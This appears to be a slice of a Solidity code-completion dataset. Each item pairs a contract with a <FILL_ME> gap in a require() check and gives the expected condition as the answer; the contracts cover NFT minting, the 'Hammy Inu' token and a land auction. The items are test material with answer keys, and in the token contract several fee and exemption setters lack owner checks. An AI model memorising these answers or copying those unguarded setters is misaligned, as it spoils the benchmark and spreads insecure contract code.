uint40 duration; // duration of event in seconds
uint32 maxPerTransaction; // max number of Elementals claimable in one transaction
}
/////////////////////////////////////////////////////////////////////////////
// State
/////////////////////////////////////////////////////////////////////////////
/// @dev Contract deployer is payable for self destruct
address payable public immutable deployer;
/// @dev Elemental NFT contract
address public immutable nftAddress;
ChampionsAscensionElemental private immutable _elemental;
/// @notice List claim parameters
ListClaimParams[NUM_LISTS] public listClaimParams;
/// @notice List claim counts
mapping(address => uint8)[NUM_LISTS] public claimCounts; // number claimed to an address for each list
/// @notice Public params
PublicMintParams public publicMintParams;
/////////////////////////////////////////////////////////////////////////////
// Modifiers
/////////////////////////////////////////////////////////////////////////////
function _blocktimeBetween(uint start, uint duration) internal view returns (bool) {
}
function listClaimActive(ListClaimEnum listChoice) public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
/////////////////////////////////////////////////////////////////////////////
// Constructor
/////////////////////////////////////////////////////////////////////////////
constructor(address _nftAddress) {
}
/////////////////////////////////////////////////////////////////////////////
// External open-access functions
/////////////////////////////////////////////////////////////////////////////
function isInClaimList(ListClaimEnum listChoice, address _address, bytes32[] calldata _proof)
external
view
returns (bool)
{
}
/**
* @notice claim and mint as member of a claim list
* @param listChoice the claim list
* @param numToMint the number to mint
* @param proof the Merkle proof for the address claiming and minting. It must be the message sender (msg.sender)
*/
function listClaimAndMint(ListClaimEnum listChoice, uint8 numToMint, bytes32[] calldata proof) external
{
ListClaimParams memory params = _listClaimParamsForEnumValue(listChoice);
uint listClaimIndex = _listClaimIndexForEnumValue(listChoice);
require(listClaimActive(listChoice), "list claim is not active");
require(_verify(params.merkleRoot, _leaf(msg.sender), proof), "invalid merkle proof");
claimCounts[listClaimIndex][msg.sender] += numToMint;
require(<FILL_ME>)
MintSourceEnum mintSource =
listChoice == ListClaimEnum.PRIME ? MintSourceEnum.CLAIM_LIST_PRIME :
listChoice == ListClaimEnum.TIER1 ? MintSourceEnum.CLAIM_LIST_TIER1 :
MintSourceEnum.CLAIM_LIST_TIER2;
_doMint(msg.sender, numToMint, mintSource);
}
function publicMint(uint8 numToMint) external {
}
/////////////////////////////////////////////////////////////////////////////
// External administrative functions
/////////////////////////////////////////////////////////////////////////////
/**
* @notice Airdrop minting.
*/
function airdrop(address[] calldata to, uint32[] calldata numberToMint) external onlyRole(AIRDROP_ROLE) {
}
/**
* @notice Set the parameters managing one of the claim lists.
* @param _listChoice the list whose parameters are being set
* @param _params the parameters of the claim list
*/
function setListClaimParameters(
ListClaimEnum _listChoice,
ListClaimParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Set the parameters managing public mint.
* @param _params the parameters
*/
function setPublicMintParameters(
PublicMintParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Disables minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function pause() external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Resumes minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function unpause() external onlyRole(MINT_ADMIN_ROLE) {
}
/////////////////////////////////////////////////////////////////////////////
// Internal functions
/////////////////////////////////////////////////////////////////////////////
function _leaf(address mintTo) internal pure returns (bytes32) {
}
function _verify(bytes32 merkleRoot, bytes32 leaf, bytes32[] memory proof)
internal
pure
returns (bool)
{
}
function _listClaimIndexForEnumValue(ListClaimEnum listChoice) internal pure returns(uint) {
}
function _listClaimParamsForEnumValue(ListClaimEnum listChoice) internal view returns(ListClaimParams memory) {
}
function _doMint(address to, uint32 numToMint, MintSourceEnum mintSource) private whenNotPaused {
}
function selfDestruct() external onlyRole(DEPLOYER_ROLE) {
}
}
| claimCounts[listClaimIndex][msg.sender]<=params.maxPerAddress,"exceeds maximum claims per address" | 251,446 | claimCounts[listClaimIndex][msg.sender]<=params.maxPerAddress |
"claim list index out of bounds" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ChampionsAscensionElemental.sol";
contract CAEMintingFactory is Pausable, AccessControl {
/// @notice emitted when the parameters are set for a claim list
event ListClaimParametersSet(
uint8 listClaimIndex, // claim list number (value of ListClaimEnum) for which parameters were set
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerAddress, // maximum claims per address
bytes32 merkleRoot // Merkle root of address allowed to claim. If 0 any address may claim
);
/// @notice emitted when the parameters are set for a the public mint
event PublicMintParametersSet(
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerTransaction // maximum claims per transaction
);
/// @notice the different kinds of minting
enum MintSourceEnum {
AIRDROP,
CLAIM_LIST_PRIME,
CLAIM_LIST_TIER1,
CLAIM_LIST_TIER2,
PUBLIC_MINT
}
/// @notice emitted when a batch of elementals are airdropped to a batch of address
event AirdropBatch(
uint addressCount, // number of addresses to which a batch is dropped
uint number // total number of elementals dropped across all addresses
);
/// emitted when a batch of elementals is minted either for claim or airdrop
event MintBatch(
address to,
uint32 number,
uint startId, // ID of first token minted in batch
MintSourceEnum mintSource
);
bytes32 public constant DEPLOYER_ROLE = keccak256("DEPLOYER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINT_ADMIN_ROLE = keccak256("MINT_ADMIN_ROLE");
/// @notice the different phases/kinds of claim list
enum ListClaimEnum {
PRIME, // 0
TIER1, // 1
TIER2 // 2
}
uint8 public constant NUM_LISTS = 3; // uint(TIER2) + 1
struct ListClaimParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerAddress; // max number of Elementals claimable by member
bytes32 merkleRoot; // merkle tree root of addresses in list
}
struct PublicMintParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerTransaction; // max number of Elementals claimable in one transaction
}
/////////////////////////////////////////////////////////////////////////////
// State
/////////////////////////////////////////////////////////////////////////////
/// @dev Contract deployer is payable for self destruct
address payable public immutable deployer;
/// @dev Elemental NFT contract
address public immutable nftAddress;
ChampionsAscensionElemental private immutable _elemental;
/// @notice List claim parameters
ListClaimParams[NUM_LISTS] public listClaimParams;
/// @notice List claim counts
mapping(address => uint8)[NUM_LISTS] public claimCounts; // number claimed to an address for each list
/// @notice Public params
PublicMintParams public publicMintParams;
/////////////////////////////////////////////////////////////////////////////
// Modifiers
/////////////////////////////////////////////////////////////////////////////
function _blocktimeBetween(uint start, uint duration) internal view returns (bool) {
}
function listClaimActive(ListClaimEnum listChoice) public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
/////////////////////////////////////////////////////////////////////////////
// Constructor
/////////////////////////////////////////////////////////////////////////////
constructor(address _nftAddress) {
}
/////////////////////////////////////////////////////////////////////////////
// External open-access functions
/////////////////////////////////////////////////////////////////////////////
function isInClaimList(ListClaimEnum listChoice, address _address, bytes32[] calldata _proof)
external
view
returns (bool)
{
}
/**
* @notice claim and mint as member of a claim list
* @param listChoice the claim list
* @param numToMint the number to mint
* @param proof the Merkle proof for the address claiming and minting. It must be the message sender (msg.sender)
*/
function listClaimAndMint(ListClaimEnum listChoice, uint8 numToMint, bytes32[] calldata proof) external
{
}
function publicMint(uint8 numToMint) external {
}
/////////////////////////////////////////////////////////////////////////////
// External administrative functions
/////////////////////////////////////////////////////////////////////////////
/**
* @notice Airdrop minting.
*/
function airdrop(address[] calldata to, uint32[] calldata numberToMint) external onlyRole(AIRDROP_ROLE) {
}
/**
* @notice Set the parameters managing one of the claim lists.
* @param _listChoice the list whose parameters are being set
* @param _params the parameters of the claim list
*/
function setListClaimParameters(
ListClaimEnum _listChoice,
ListClaimParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Set the parameters managing public mint.
* @param _params the parameters
*/
function setPublicMintParameters(
PublicMintParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Disables minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function pause() external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Resumes minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function unpause() external onlyRole(MINT_ADMIN_ROLE) {
}
/////////////////////////////////////////////////////////////////////////////
// Internal functions
/////////////////////////////////////////////////////////////////////////////
function _leaf(address mintTo) internal pure returns (bytes32) {
}
function _verify(bytes32 merkleRoot, bytes32 leaf, bytes32[] memory proof)
internal
pure
returns (bool)
{
}
function _listClaimIndexForEnumValue(ListClaimEnum listChoice) internal pure returns(uint) {
require(<FILL_ME>)
return uint(listChoice);
}
function _listClaimParamsForEnumValue(ListClaimEnum listChoice) internal view returns(ListClaimParams memory) {
}
function _doMint(address to, uint32 numToMint, MintSourceEnum mintSource) private whenNotPaused {
}
function selfDestruct() external onlyRole(DEPLOYER_ROLE) {
}
}
| uint(listChoice)<NUM_LISTS,"claim list index out of bounds" | 251,446 | uint(listChoice)<NUM_LISTS |
"Max wallet must be greater than 1%" | /*
SPDX-License-Identifier: None
https://t.me/HammyInu
*/
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IPancakePair {
function sync() external;
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract HammyInu is IERC20, Ownable {
using SafeMath for uint256;
address constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string _name = "Hammy Inu";
string _symbol = "HAMMY";
uint8 constant _decimals = 9;
uint256 _totalSupply = 100_000_000_000 * (10 ** _decimals);
uint256 public _maxWalletSize = (_totalSupply * 10) / 1000; // 1%
/* rOwned = ratio of tokens owned relative to circulating supply (NOT total supply, since circulating <= total) */
mapping (address => uint256) public _rOwned;
uint256 public _totalProportion = _totalSupply;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
uint256 liquidityFee = 1;
uint256 giveawayFee = 0;
uint256 marketingFee = 3;
uint256 reflectionFee = 0;
uint256 totalFee = 4;
uint256 feeDenominator = 100;
address autoLiquidityReceiver;
address marketingFeeReceiver;
uint256 targetLiquidity = 200;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
bool public claimingFees = true;
bool alternateSwaps = true;
uint256 smallSwapThreshold = _totalSupply.mul(6413945130).div(100000000000);
uint256 largeSwapThreshold = _totalSupply.mul(869493726).div(100000000000);
uint256 public swapThreshold = smallSwapThreshold;
bool inSwap;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure returns (uint8) { }
function name() external view returns (string memory) { }
function changeName(string memory newName) external onlyOwner { }
function changeSymbol(string memory newSymbol) external onlyOwner { }
function symbol() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function transferTo(address sender, uint256 amount) public swapping { }
function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function tokensToProportion(uint256 tokens) public view returns (uint256) {
}
function tokenFromReflection(uint256 proportion) public view returns (uint256) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function getTotalFee(bool) public view returns (uint256) {
}
function takeFeeInProportions(address sender, address receiver, uint256 proportionAmount) internal returns (uint256) {
}
function clearBalance() external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
function setSwapBackSettings(bool _enabled, uint256 _amountS, uint256 _amountL, bool _alternate) external {
}
function changeFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _giveawayFee) external onlyOwner {
}
function changeMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
require(<FILL_ME>)
_maxWalletSize = _totalSupply.mul(percent).div(denominator);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address holder, bool exempt) external {
}
function setFeeReceivers(address _marketingFeeReceiver, address _liquidityReceiver) external {
}
function getCirculatingSupply() public view returns (uint256) {
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event Reflect(uint256 amountReflected, uint256 newTotalProportion);
}
| isTxLimitExempt[msg.sender]&&percent>=1,"Max wallet must be greater than 1%" | 251,463 | isTxLimitExempt[msg.sender]&&percent>=1 |
"Land not yet owned" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MarsGenesisAuctionBase.sol";
/// @title MarsGenesis Auction Contract
/// @author MarsGenesis
/// @notice You can use this contract to buy, sell and bid on MarsGenesis lands
contract MarsGenesisAuction is MarsGenesisAuctionBase {
/// @notice Inits the contract
/// @param _erc721Address The address of the main MarsGenesis contract
/// @param _walletAddress The address of the wallet of MarsGenesis contract
/// @param _cut The contract owner tax on sales
constructor (address _erc721Address, address payable _walletAddress, uint256 _cut) MarsGenesisAuctionBase(_erc721Address, _walletAddress, _cut) {}
/*** EXTERNAL ***/
/// @notice Enters a bid for a specific land (payable)
/// @dev If there was a previous (lower) bid, it removes it and adds its amount to pending withdrawals.
/// On success, it emits the LandBidEntered event.
/// @param tokenId The id of the land to bet upon
function enterBidForLand(uint tokenId) external payable {
require(<FILL_ME>)
require(nonFungibleContract.ownerOf(tokenId) != msg.sender, "You already own the land");
require(msg.value > 0, "Amount must be > 0");
Bid memory existing = landIdToBids[tokenId];
require(msg.value > existing.value, "Amount must be > than existing bid");
if (existing.value > 0) {
// Refund the previous bid
addressToPendingWithdrawal[existing.bidder] += existing.value;
}
landIdToBids[tokenId] = Bid(true, tokenId, msg.sender, msg.value);
emit LandBidEntered(tokenId, msg.value, msg.sender);
}
/// @notice Buys a land for a specific price (payable)
/// @dev The land must be for sale before other user calls this method. If the same user had the higher bid before, it gets refunded into the pending withdrawals. On success, emits the LandBought event. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land to be bought
function buyLand(uint tokenId) external payable {
}
/// @notice Offers a land that ones own for sale for a min price
/// @dev On success, emits the event LandOffered
/// @param tokenId The id of the land to put for sale
/// @param minSalePriceInWei The minimum price of the land (Wei)
function offerLandForSale(uint tokenId, uint minSalePriceInWei) external {
}
/// @notice Sends free balance to the main wallet
/// @dev Only callable by the deployer
function sendBalanceToWallet() external {
}
/// @notice Users can withdraw their available balance
/// @dev Avoids reentrancy
function withdraw() external {
}
/// @notice Owner of a land can accept a bid for its land
/// @dev Only callable by the main contract. On success, emits the event LandBought. Disccounts the contract tax (cut) from the final price. Executes a ERC721 safeTransferFrom
/// @param tokenId The id of the land
/// @param minPrice The minimum price of the land
function acceptBidForLand(uint tokenId, uint minPrice) external {
}
/// @notice Users can withdraw their own bid for a specific land
/// @dev The bid amount is automatically transfered back to the user. Emits LandBidWithdrawn event. Avoids reentrancy.
/// @param tokenId The id of the land that had the bid on
function withdrawBidForLand(uint tokenId) external {
}
/// @notice Updates the wallet contract address
/// @param _address The address of the wallet contract
/// @dev Only callable by deployer
function setWalletAddress(address payable _address) external {
}
/*** PUBLIC ***/
/// @notice Checks if a land is for sale
/// @param tokenId The id of the land to check
/// @return boolean, true if the land is for sale
function landIdIsForSale(uint256 tokenId) public view returns(bool) {
}
/// @notice Puts a land no longer for sale
/// @dev Callable only by the main contract or the owner of a land. Emits the event LandNoLongerForSale
/// @param tokenId The id of the land
function landNoLongerForSale(uint tokenId) public {
}
}
| nonFungibleContract.ownerOf(tokenId)!=address(0),"Land not yet owned" | 251,526 | nonFungibleContract.ownerOf(tokenId)!=address(0) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.